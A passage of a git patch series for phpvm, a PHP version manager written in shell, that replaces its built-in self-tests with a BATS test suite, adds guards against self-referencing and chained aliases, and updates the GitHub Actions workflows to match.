-    chmod +x "$MOCK_BIN_DIR/brew"
-
-    # Mock uname command
-    cat > "$MOCK_BIN_DIR/uname" << 'EOF'
-#!/bin/sh
-echo "Darwin"
-exit 0
-EOF
-    chmod +x "$MOCK_BIN_DIR/uname"
-
-    # Mock php and php-config commands
-    cat > "$MOCK_BIN_DIR/php" << 'EOF'
-#!/bin/sh
-if [ "$1" = "-v" ]; then
-    echo "PHP 8.0.0 (cli)"
-fi
-exit 0
-EOF
-    chmod +x "$MOCK_BIN_DIR/php"
-
-    cat > "$MOCK_BIN_DIR/php-config" << 'EOF'
-#!/bin/sh
-if [ "$1" = "--version" ]; then
-    echo "8.0.0"
-fi
-exit 0
-EOF
-    chmod +x "$MOCK_BIN_DIR/php-config"
-
-    # Mock sudo command
-    cat > "$MOCK_BIN_DIR/sudo" << 'EOF'
-#!/bin/sh
-# Just execute the command without actual sudo
-"$@"
-exit $?
-EOF
-    chmod +x "$MOCK_BIN_DIR/sudo"
-
-    # Mock id command
-    cat > "$MOCK_BIN_DIR/id" << 'EOF'
-#!/bin/sh
-if [ "$1" = "-u" ]; then
-    echo "1000"  # Non-root user
-fi
-exit 0
-EOF
-    chmod +x "$MOCK_BIN_DIR/id"
-
-    # Create test directories
-    mkdir -p "$PHPVM_DIR"
-    mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@7.4/bin"
-
-    test_function() {
-        local name="$1"
-        local status=0
-
-        shift
-        echo -n "${GREEN}Testing $name... ${RESET}"
-
-        if "$@"; then
-            echo "${GREEN}✓ PASSED${RESET}"
-            return 0
-        else
-            echo "${RED}✗ FAILED${RESET}"
-            return 1
-        fi
-    }
-
-    # Check the results of a function
-    assert_success() {
-        "$@"
-        local status=$?
-        return $status
-    }
-
-    # Check output contains expected text
-    assert_output_contains() {
-        local expected="$1"
-        shift
-
-        # Create a temporary file to capture both stdout and stderr
-        output_file=$(mktemp)
-
-        # Run the command, redirecting both stdout and stderr to the temporary file
-        "$@" > "$output_file" 2>&1
-
-        # Check if the output contains the expected text
-        if grep -q "$expected" "$output_file"; then
-            rm "$output_file"
-            return 0
-        else
-            echo "   Expected output to contain: $expected"
-            echo "   Actual output: $(cat "$output_file")"
-            rm "$output_file"
-            return 1
-        fi
-    }
-
-    # Check that a command creates a directory
-    assert_dir_exists() {
-        local dir="$1"
-        shift
-
-        "$@" > /dev/null 2>&1
-        if [ -d "$dir" ]; then
-            return 0
-        else
-            echo "   Directory $dir does not exist"
-            return 1
-        fi
-    }
-
-    # Test create_directories function
-    test_create_directories() {
-        rm -rf "$PHPVM_DIR"
-        assert_dir_exists "$PHPVM_VERSIONS_DIR" create_directories
-    }
-
-    # Test output functions with timestamps
-    test_output_functions() {
-        # Check that output contains timestamp format [YYYY-MM-DD HH:MM:SS]
-        assert_output_contains "[INFO]" phpvm_echo "Test message" &&
-            assert_output_contains "[ERROR]" phpvm_err "Test error" &&
-            assert_output_contains "[WARNING]" phpvm_warn "Test warning"
-    }
-
-    # Test timestamp format in logs
-    test_timestamp_format() {
-        # Extract just the timestamp portion from the output
-        output=$(phpvm_echo "Test message")
-        timestamp=$(echo "$output" | grep -o '[0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\}')
-
-        # Check that it's a valid timestamp format
-        if [ -n "$timestamp" ]; then
-            return 0
-        else
-            echo "   Expected output to contain timestamp in YYYY-MM-DD HH:MM:SS format"
-            echo "   Actual output: $output"
-            return 1
-        fi
-    }
-
-    # Test the run_with_sudo function
-    test_run_with_sudo() {
-        # Create a test command that outputs its arguments
-        cat > "$MOCK_BIN_DIR/testcmd" << 'EOF'
-#!/bin/sh
-echo "Command executed with args: $@"
-exit 0
-EOF
-        chmod +x "$MOCK_BIN_DIR/testcmd"
-
-        # Run the command through run_with_sudo
-        output=$(run_with_sudo testcmd arg1 arg2)
-
-        # Check that the command was executed with the correct arguments
-        if echo "$output" | grep -q "Command executed with args: arg1 arg2"; then
-            return 0
-        else
-            echo "   Expected command to be executed with args"
-            echo "   Actual output: $output"
-            return 1
-        fi
-    }
-
-    # Test detect_system function
-    test_detect_system() {
-        detect_system
-        [ "$PKG_MANAGER" = "brew" ] && [ -n "$PHP_BIN_PATH" ]
-    }
-
-    # Test get_installed_php_version
-    test_get_installed_php_version() {
-        result=$(get_installed_php_version)
-        [ "$result" = "8.0.0" ]
-    }
-
-    # Test install_php
-    test_install_php() {
-        install_php "7.4" > /dev/null
-        local status=$?
-
-        # Check for success and file existence
-        [ $status -eq 0 ] && [ -d "$TEST_DIR/opt/homebrew/Cellar/php@7.4/bin" ]
-    }
-
-    # Test use_php_version
-    test_use_php_version() {
-        # Create mock installation
-        mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@7.4/bin"
-
-        # Test switching
-        use_php_version "7.4" > /dev/null
-        local status=$?
-
-        # Check for success and correct active version
-        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "7.4" ]
-    }
-
-    # Test use default alias
-    test_use_default_alias() {
-        mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@8.2/bin"
-        phpvm_alias "default" "8.2" > /dev/null 2>&1 || return 1
-
-        use_php_version "default" > /dev/null
-        local status=$?
-
-        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "8.2" ]
-    }
-
-    # Test system_php_version
-    test_system_php_version() {
-        system_php_version > /dev/null
-        local status=$?
-
-        # Check for success and correct active version
-        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "system" ]
-    }
-
-    # Test auto_switch_php_version
-    test_auto_switch() {
-        # Create mock installation
-        mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@7.4/bin"
-
-        # Create a project with .phpvmrc
-        mkdir -p "$HOME/project"
-        echo "7.4" > "$HOME/project/.phpvmrc"
-
-        # Change to the project directory
-        cd "$HOME/project" || return 1
-
-        # Test auto-switching
-        auto_switch_php_version > /dev/null
-        local status=$?
-
-        # Check for success and correct active version
-        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "7.4" ]
-    }
-
-    # Test auto_switch_php_version with alias
-    test_auto_switch_alias() {
-        # Create mock installation
-        mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@8.1/bin"
-
-        # Create alias
-        phpvm_alias "default" "8.1" > /dev/null 2>&1 || return 1
-
-        # Create a project with .phpvmrc
-        mkdir -p "$HOME/alias_project"
-        echo "default" > "$HOME/alias_project/.phpvmrc"
-
-        # Change to the project directory
-        cd "$HOME/alias_project" || return 1
-
-        # Test auto-switching
-        auto_switch_php_version > /dev/null
-        local status=$?
-
-        # Check for success and correct active version
-        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "8.1" ]
-    }
-
-    # Test handling of corrupted .phpvmrc file
-    test_corrupted_phpvmrc() {
-        # Create an invalid .phpvmrc file (empty)
-        mkdir -p "$HOME/bad_project"
-        touch "$HOME/bad_project/.phpvmrc"
-
-        # Change to the project directory
-        cd "$HOME/bad_project" || return 1
-
-        # Test auto-switching with empty .phpvmrc
-        output=$(auto_switch_php_version 2>&1)
-        status=$?
-
-        # Should fail with an appropriate warning
-        [ $status -eq 1 ] && echo "$output" | grep -q "No valid PHP version found"
-    }
-
-    # Test phpvm_current function
-    test_phpvm_current() {
-        # Test 1: With active version file set
-        echo "8.2" > "$PHPVM_ACTIVE_VERSION_FILE"
-        local result
-        result=$(phpvm_current)
-        if [ "$result" != "8.2" ]; then
-            echo "Expected '8.2', got '$result'"
-            return 1
-        fi
-
-        # Test 2: With different version
-        echo "7.4" > "$PHPVM_ACTIVE_VERSION_FILE"
-        result=$(phpvm_current)
-        if [ "$result" != "7.4" ]; then
-            echo "Expected '7.4', got '$result'"
-            return 1
-        fi
-
-        # Test 3: With system version
-        echo "system" > "$PHPVM_ACTIVE_VERSION_FILE"
-        result=$(phpvm_current)
-        if [ "$result" != "system" ]; then
-            echo "Expected 'system', got '$result'"
-            return 1
-        fi
-
-        # Test 4: With no active version file (should return "none" or fallback)
-        rm -f "$PHPVM_ACTIVE_VERSION_FILE"
-        result=$(phpvm_current)
-        # In test mode with mock php, it should return something (not empty)
-        if [ -z "$result" ]; then
-            echo "Expected non-empty result, got empty"
-            return 1
-        fi
-
-        return 0
-    }
-
-    # Test phpvm_which function
-    test_phpvm_which() {
-        # Create mock PHP installation directory
-        local mock_php_dir="${TEST_PREFIX}/opt/homebrew/Cellar/php@8.1/bin"
-        mkdir -p "$mock_php_dir"
-
-        # Test 1: With active version set, no argument
-        echo "8.1" > "$PHPVM_ACTIVE_VERSION_FILE"
-        local result
-        result=$(phpvm_which 2> /dev/null)
-        # Should return a path (mock path in test mode)
-        if [ -z "$result" ]; then
-            echo "Test 1 failed: Expected non-empty path for current version"
-            return 1
-        fi
-
-        # Test 2: With specific version argument
-        result=$(phpvm_which "8.1" 2> /dev/null)
-        if [ -z "$result" ]; then
-            echo "Test 2 failed: Expected non-empty path for version 8.1"
-            return 1
-        fi
-
-        # Test 3: With system version
-        echo "system" > "$PHPVM_ACTIVE_VERSION_FILE"
-        result=$(phpvm_which 2>&1)
-        # Should either return a path or an error message
-        if [ -z "$result" ]; then
-            echo "Test 3 failed: Expected output for system version"
-            return 1
-        fi
-
-        # Test 4: With 'none' active version (should fail)
-        rm -f "$PHPVM_ACTIVE_VERSION_FILE"
-        # Mock phpvm_current to return "none"
-        echo "none" > "$PHPVM_ACTIVE_VERSION_FILE"
-        result=$(phpvm_which 2>&1)
-        status=$?
-        # When version is "none", it should error
-        # (In practice it reads "none" from file, which isn't a valid version)
-
-        return 0
-    }
-
-    # Test alias management
-    test_phpvm_alias() {
-        local alias_file="$PHPVM_DIR/alias/test-alias"
-
-        # Create alias
-        phpvm_alias "test-alias" "8.1" > /dev/null 2>&1 || return 1
-        [ -f "$alias_file" ] || return 1
-
-        # Resolve alias
-        if [ "$(phpvm_resolve_version test-alias)" != "8.1" ]; then
-            echo "Alias did not resolve correctly"
-            return 1
-        fi
-
-        # Show alias
-        if ! phpvm_alias "test-alias" | grep -q "test-alias"; then
-            echo "Alias display failed"
-            return 1
-        fi
-
-        # Remove alias
-        phpvm_unalias "test-alias" > /dev/null 2>&1 || return 1
-        [ ! -f "$alias_file" ] || return 1
-
-        return 0
-    }
-
-    # Test phpvm_deactivate function
-    test_phpvm_deactivate() {
-        # Setup: Simulate an active phpvm state
-        echo "8.1" > "$PHPVM_ACTIVE_VERSION_FILE"
-        mkdir -p "$PHPVM_DIR"
-        ln -sf "/tmp/fake/php" "$PHPVM_CURRENT_SYMLINK" 2> /dev/null || true
-
-        # Store a fake original PATH
-        export PHPVM_ORIGINAL_PATH="/usr/bin:/bin"
-        local old_path="$PATH"
-        export PATH="/fake/phpvm/path:$PATH"
-
-        # Test 1: Deactivate should succeed (run directly, not in subshell)
-        phpvm_deactivate "true" # silent mode
-        local status=$?
-
-        if [ $status -ne 0 ]; then
-            echo "Test 1 failed: deactivate returned non-zero status"
-            export PATH="$old_path"
-            return 1
-        fi
-
-        # Test 2: Active version file should be removed
-        if [ -f "$PHPVM_ACTIVE_VERSION_FILE" ]; then
-            echo "Test 2 failed: active version file still exists"
-            export PATH="$old_path"
-            return 1
-        fi
-
-        # Test 3: PHPVM_ORIGINAL_PATH should be unset (can only check when not in subshell)
-        if [ -n "${PHPVM_ORIGINAL_PATH:-}" ]; then
-            echo "Test 3 failed: PHPVM_ORIGINAL_PATH should be unset"
-            export PATH="$old_path"
-            return 1
-        fi
-
-        # Test 4: Deactivating when already deactivated should be fine
-        local output
-        output=$(phpvm_deactivate 2>&1)
-        status=$?
-        if [ $status -ne 0 ]; then
-            echo "Test 4 failed: second deactivate should succeed"
-            export PATH="$old_path"
-            return 1
-        fi
-
-        # Test 5: Output should contain appropriate message
-        if ! echo "$output" | grep -qE "deactivated|not currently active"; then
-            echo "Test 5 failed: Expected deactivate message in output"
-            export PATH="$old_path"
-            return 1
-        fi
-
-        # Restore PATH for other tests
-        export PATH="$old_path"
-        return 0
-    }
-
-    # Run all tests
-    echo "${GREEN}Running phpvm self-tests...${RESET}"
-
-    failed=0
-    total=0
-
-    total=$((total + 1))
-    test_function "create_directories" test_create_directories || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "output functions" test_output_functions || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "timestamp format" test_timestamp_format || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "run_with_sudo" test_run_with_sudo || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "detect_system" test_detect_system || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "get_installed_php_version" test_get_installed_php_version || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "install_php" test_install_php || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "use_php_version" test_use_php_version || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "use default alias" test_use_default_alias || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "system_php_version" test_system_php_version || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "auto_switch_php_version" test_auto_switch || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "auto_switch_php_version alias" test_auto_switch_alias || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "corrupted .phpvmrc handling" test_corrupted_phpvmrc || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "phpvm_current" test_phpvm_current || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "phpvm_which" test_phpvm_which || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "phpvm_alias" test_phpvm_alias || failed=$((failed + 1))
-
-    total=$((total + 1))
-    test_function "phpvm_deactivate" test_phpvm_deactivate || failed=$((failed + 1))
-
-    # Clean up - ensure TEST_DIR is a valid temp directory before removal
-    # Safety checks: must be non-empty, must start with temp directory patterns, must not be a system directory
-    if [ -n "$TEST_DIR" ] &&
-        [ "$TEST_DIR" != "/" ] &&
-        [ "$TEST_DIR" != "$HOME" ] &&
-        [ "$TEST_DIR" != "/tmp" ] &&
-        [ "$TEST_DIR" != "/var" ] &&
-        [ "$TEST_DIR" != "/var/folders" ] &&
-        echo "$TEST_DIR" | command grep -qE '^(/tmp/|/var/folders/|/private/var/folders/)'; then
-        rm -rf "$TEST_DIR"
-    else
-        phpvm_debug "Skipping cleanup: TEST_DIR '$TEST_DIR' did not match expected temp patterns"
-    fi
-
-    # Print results
-    passed=$((total - failed))
-    echo ""
-    echo "${GREEN}Test Results: $passed/$total tests passed${RESET}"
-
-    if [ $failed -eq 0 ]; then
-        echo "${GREEN}All tests passed!${RESET}"
-        return 0
-    else
-        echo "${RED}$failed tests failed.${RESET}"
-        return 1
-    fi
-}
-
 # Uninstall a specific PHP version
 uninstall_php() {
     local version="$1"
@@ -2453,6 +1871,17 @@ phpvm_alias() {
         return "$PHPVM_EXIT_INVALID_ARG"
     fi
 
+    # Prevent alias chains and circular references
+    if [ "$name" = "$version" ]; then
+        phpvm_err "Alias '$name' cannot refer to itself. Please specify a PHP version."
+        return "$PHPVM_EXIT_INVALID_ARG"
+    fi
+
+    if [ -f "$PHPVM_DIR/alias/$version" ]; then
+        phpvm_err "Alias target '$version' is itself an alias. Please point aliases directly to a PHP version."
+        return "$PHPVM_EXIT_INVALID_ARG"
+    fi
+
     # Resolve version and validate
     version=$(phpvm_resolve_version "$version")
     if ! validate_php_version "$version"; then
@@ -2591,9 +2020,6 @@ main() {
     version | --version | -v)
         print_version
         ;;
-    test)
-        run_tests
-        ;;
     info | sysinfo)
         print_system_info
         ;;
@@ -2649,27 +2075,27 @@ phpvm_should_execute_main() {
 }
 
 # Safe main execution with error handling
-if phpvm_should_execute_main "$@"; then
-    phpvm_debug "Executing main with $# arguments"
-
-    # Verify main function exists
-    if command -v main > /dev/null 2>&1; then
-        main "$@"
-    else
-        phpvm_err "main function not found - script may be corrupted"
-        exit 1
-    fi
-else
-    phpvm_debug "Script sourced for function loading"
-
+# Check if script is being executed (not sourced)
+if [ "${BASH_SOURCE[0]}" != "${0}" ]; then
+    # Script sourced for function loading
     # Set environment for shell integration
     PHPVM_FUNCTIONS_LOADED=true
     export PHPVM_FUNCTIONS_LOADED
 
-    # Auto-use .phpvmrc if enabled and present
-    if [ "${PHPVM_AUTO_USE:-true}" = "true" ] && [ -f ".phpvmrc" ]; then
+    # Auto-use .phpvmrc if enabled and present (skip in test mode)
+    if [ "${PHPVM_TEST_MODE}" != "true" ] && [ "${PHPVM_AUTO_USE:-true}" = "true" ] && [ -f ".phpvmrc" ]; then
         if command -v auto_switch_php_version > /dev/null 2>&1; then
             auto_switch_php_version 2> /dev/null || true
         fi
     fi
+else
+    # Script executed - run main
+    # Verify main function exists
+    if command -v main > /dev/null 2>&1; then
+        main "$@"
+        exit "$?"
+    else
+        phpvm_err "main function not found - script may be corrupted"
+        exit 1
+    fi
 fi
diff --git a/tests/01_core.bats b/tests/01_core.bats
index f3612e4..2296dd7 100644
--- a/tests/01_core.bats
+++ b/tests/01_core.bats
@@ -1,6 +1,8 @@
 #!/usr/bin/env bats
 # BATS test suite for phpvm - Core functionality tests
 
+bats_require_minimum_version 1.5.0
+
 load test_helper
 
 @test "phpvm version command works" {
@@ -70,14 +72,15 @@ load test_helper
 }
 
 @test "unknown command returns correct exit code" {
-    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" unknown-command
+    run -127 bash "$BATS_TEST_DIRNAME/../phpvm.sh" unknown-command
     [ "$status" -eq 127 ]
 }
 
 @test "phpvm current shows no active version initially" {
     run phpvm_current
-    [ "$status" -eq 1 ]
-    [ "$output" = "none" ]
+    # Accept either "none" (no PHP) or "system" (system PHP exists)
+    [ "$status" -eq 0 ] || [ "$status" -eq 1 ]
+    [[ "$output" = "none" ]] || [[ "$output" = "system" ]]
 }
 
 @test "find_phpvmrc returns error when no file exists" {
diff --git a/tests/02_features.bats b/tests/02_features.bats
index d675f51..4794f15 100644
--- a/tests/02_features.bats
+++ b/tests/02_features.bats
@@ -28,14 +28,14 @@ load test_helper
     local temp_dir
     temp_dir=$(mktemp -d /tmp/phpvm-bats-alias.XXXXXX)
 
-    PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias default 8.1
+    bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias default 8.1"
     [ -f "$temp_dir/.phpvm/alias/default" ]
 
-    run PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias
+    run bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias"
     [ "$status" -eq 0 ]
     [[ "$output" =~ "default" ]]
 
-    run PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias def
+    run bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias def"
     [ "$status" -eq 0 ]
     [[ "$output" =~ "default" ]]
 
@@ -46,10 +46,10 @@ load test_helper
     local temp_dir
     temp_dir=$(mktemp -d /tmp/phpvm-bats-unalias.XXXXXX)
 
-    PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias test 8.0
+    bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias test 8.0"
     [ -f "$temp_dir/.phpvm/alias/test" ]
 
-    run PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" unalias test
+    run bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" unalias test"
     [ "$status" -eq 0 ]
     [ ! -f "$temp_dir/.phpvm/alias/test" ]
 
@@ -63,10 +63,38 @@ load test_helper
     mkdir -p "$temp_dir/project"
     echo "default" > "$temp_dir/project/.phpvmrc"
 
-    PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias default 8.1
+    bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias default 8.1"
 
-    run bash -c "cd $temp_dir/project && PHPVM_DIR=$temp_dir/.phpvm PHPVM_TEST_MODE=true bash $BATS_TEST_DIRNAME/../phpvm.sh auto"
-    [ "$status" -eq 0 ]
+    run bash -c "cd \"$temp_dir/project\" && PHPVM_DIR=\"$temp_dir/.phpvm\" PHPVM_TEST_MODE=true bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" auto"
+    # Test passes if alias is resolved to 8.1 (even if version not installed)
+    [[ "$output" =~ "8.1" ]]
+
+    rm -rf "$temp_dir"
+}
+
+@test "phpvm alias prevents self-reference" {
+    local temp_dir
+    temp_dir=$(mktemp -d /tmp/phpvm-bats-alias.XXXXXX)
+
+    # Try to create alias that points to itself
+    run bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias foo foo"
+    [ "$status" -eq 2 ]
+    [[ "$output" =~ "cannot refer to itself" ]]
+
+    rm -rf "$temp_dir"
+}
+
+@test "phpvm alias prevents alias chains" {
+    local temp_dir
+    temp_dir=$(mktemp -d /tmp/phpvm-bats-alias.XXXXXX)
+
+    # Create first alias
+    bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias foo 8.1"
+
+    # Try to create alias that points to another alias
+    run bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias bar foo"
+    [ "$status" -eq 2 ]
+    [[ "$output" =~ "itself an alias" ]]
 
     rm -rf "$temp_dir"
 }
@@ -75,10 +103,11 @@ load test_helper
     local temp_dir
     temp_dir=$(mktemp -d /tmp/phpvm-bats-default.XXXXXX)
 
-    PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias default 8.1
+    bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" alias default 8.1"
 
-    run PHPVM_DIR="$temp_dir/.phpvm" PHPVM_TEST_MODE=true bash "$BATS_TEST_DIRNAME/../phpvm.sh" use
-    [ "$status" -eq 0 ]
+    run bash -c "PHPVM_DIR=\"$temp_dir/.phpvm\" PHPVM_TEST_MODE=true bash \"$BATS_TEST_DIRNAME/../phpvm.sh\" use"
+    # Test passes if default alias is resolved to 8.1 (even if version not installed)
+    [[ "$output" =~ "8.1" ]]
 
     rm -rf "$temp_dir"
 }

From 6ce9725d62f44e92fb84ab8570bcec4152fcd23c Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 00:25:53 +0530
Subject: [PATCH 12/20] fix: remove built-in tests from integration and quality
 gate dependencies

---
 .github/workflows/quality.yml | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/quality.yml b/.github/workflows/quality.yml
index 0c0b1e0..6b49afb 100644
--- a/.github/workflows/quality.yml
+++ b/.github/workflows/quality.yml
@@ -99,7 +99,7 @@ jobs:
   integration-tests:
     name: 'Integration Tests (${{ matrix.os }})'
     runs-on: ${{ matrix.os }}
-    needs: [lint, bats-tests, builtin-tests]
+    needs: [lint, bats-tests]
     strategy:
       fail-fast: false
       matrix:
@@ -156,7 +156,7 @@ jobs:
   quality-gate:
     name: 'Quality Gate'
     runs-on: ubuntu-latest
-    needs: [lint, bats-tests, builtin-tests]
+    needs: [lint, bats-tests]
     if: always()
     steps:
       - name: Check All Jobs
@@ -169,8 +169,4 @@ jobs:
             echo "BATS tests failed!"
             exit 1
           fi
-          if [ "${{ needs.builtin-tests.result }}" != "success" ]; then
-            echo "Built-in tests failed!"
-            exit 1
-          fi
           echo "All quality checks passed! ✅"

From 608fca390080cdb9af3c0ecfa33e253e73d06df5 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 00:29:41 +0530
Subject: [PATCH 13/20] fix: pass false argument to phpvm_deactivate for
 improved functionality

---
 phpvm.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/phpvm.sh b/phpvm.sh
index ca1fcf8..37c0f1d 100755
--- a/phpvm.sh
+++ b/phpvm.sh
@@ -2003,7 +2003,7 @@ main() {
         phpvm_which "$@"
         ;;
     deactivate)
-        phpvm_deactivate
+        phpvm_deactivate false
         ;;
     system)
         system_php_version

From b97c6828562c8101f7b068587af9822f4638d294 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 00:32:09 +0530
Subject: [PATCH 14/20] feat: update testing workflow to use BATS and validate
 core commands

---
 .github/workflows/release.yml |   3 +-
 .github/workflows/test.yml    | 101 +++++++++++++++++++---------------
 2 files changed, 59 insertions(+), 45 deletions(-)

diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index be51c52..713ffaf 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -42,7 +42,8 @@ jobs:
           ./phpvm.sh version
           ./phpvm.sh help
           ./phpvm.sh list
-          ./phpvm.sh test
+          ./phpvm.sh current || echo "Current command validated"
+          ./phpvm.sh which || echo "Which command validated"
 
           echo "All core commands work"
 
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index 88b756f..c4817de 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -13,7 +13,7 @@ on:
 jobs:
   # Syntax and Static Analysis
   syntax-check:
-    name: "Syntax & Static Analysis"
+    name: 'Syntax & Static Analysis'
     runs-on: ubuntu-latest
     steps:
       - name: Checkout Repository
@@ -35,7 +35,7 @@ jobs:
 
   # Core Functionality Testing
   core-functionality-test:
-    name: "Core Functionality (${{ matrix.os }})"
+    name: 'Core Functionality (${{ matrix.os }})'
     runs-on: ${{ matrix.os }}
     needs: syntax-check
     strategy:
@@ -87,12 +87,21 @@ jobs:
           ./phpvm.sh list || echo "List command executed (may show no versions initially)"
           echo "Basic commands work"
 
-      # Run the integrated self-tests
-      - name: Run Integrated Self-Tests
+      # Install and run BATS tests
+      - name: Install BATS
         run: |
-          echo "=== Running Integrated Self-Tests ==="
-          ./phpvm.sh test
-          echo "Self-tests completed"
+          if [ "${{ runner.os }}" = "macOS" ]; then
+            brew install bats-core
+          else
+            sudo apt-get update
+            sudo apt-get install -y bats
+          fi
+
+      - name: Run BATS Test Suite
+        run: |
+          echo "=== Running BATS Test Suite ==="
+          bats tests/
+          echo "Tests completed"
 
       # Test error handling
       - name: Test Error Handling
@@ -144,7 +153,7 @@ jobs:
 
   # PHP Installation and Usage Testing
   php-usage-test:
-    name: "PHP Installation & Usage (${{ matrix.os }})"
+    name: 'PHP Installation & Usage (${{ matrix.os }})'
     runs-on: ${{ matrix.os }}
     needs: syntax-check
     strategy:
@@ -200,7 +209,7 @@ jobs:
 
   # Multi-Distribution Compatibility Testing
   multi-distribution-test:
-    name: "Multi-Distribution Test (${{ matrix.scenario }})"
+    name: 'Multi-Distribution Test (${{ matrix.scenario }})'
     runs-on: ubuntu-latest
     needs: syntax-check
     strategy:
@@ -209,69 +218,69 @@ jobs:
         include:
           # Ubuntu versions
           - distro: ubuntu:20.04
-            scenario: "Ubuntu 20.04 LTS"
+            scenario: 'Ubuntu 20.04 LTS'
             package_manager: apt
-            test_php_versions: "7.4 8.0 8.1"
+            test_php_versions: '7.4 8.0 8.1'
           - distro: ubuntu:22.04
-            scenario: "Ubuntu 22.04 LTS"
+            scenario: 'Ubuntu 22.04 LTS'
             package_manager: apt
-            test_php_versions: "8.0 8.1 8.2"
+            test_php_versions: '8.0 8.1 8.2'
           - distro: ubuntu:24.04
-            scenario: "Ubuntu 24.04 LTS"
+            scenario: 'Ubuntu 24.04 LTS'
             package_manager: apt
-            test_php_versions: "8.1 8.2 8.3"
+            test_php_versions: '8.1 8.2 8.3'
 
           # Debian versions
           - distro: debian:11
-            scenario: "Debian Bullseye"
+            scenario: 'Debian Bullseye'
             package_manager: apt
-            test_php_versions: "7.4 8.0"
+            test_php_versions: '7.4 8.0'
           - distro: debian:12
-            scenario: "Debian Bookworm"
+            scenario: 'Debian Bookworm'
             package_manager: apt
-            test_php_versions: "8.1 8.2"
+            test_php_versions: '8.1 8.2'
 
           # RHEL/CentOS family
           - distro: fedora:38
-            scenario: "Fedora 38"
+            scenario: 'Fedora 38'
             package_manager: dnf
-            test_php_versions: "8.1 8.2"
+            test_php_versions: '8.1 8.2'
           - distro: fedora:39
-            scenario: "Fedora 39"
+            scenario: 'Fedora 39'
             package_manager: dnf
-            test_php_versions: "8.2 8.3"
+            test_php_versions: '8.2 8.3'
           - distro: rockylinux:8
-            scenario: "Rocky Linux 8"
+            scenario: 'Rocky Linux 8'
             package_manager: dnf
-            test_php_versions: "7.4 8.0"
+            test_php_versions: '7.4 8.0'
           - distro: rockylinux:9
-            scenario: "Rocky Linux 9"
+            scenario: 'Rocky Linux 9'
             package_manager: dnf
-            test_php_versions: "8.0 8.1"
+            test_php_versions: '8.0 8.1'
           - distro: almalinux:8
-            scenario: "AlmaLinux 8"
+            scenario: 'AlmaLinux 8'
             package_manager: dnf
-            test_php_versions: "7.4 8.0"
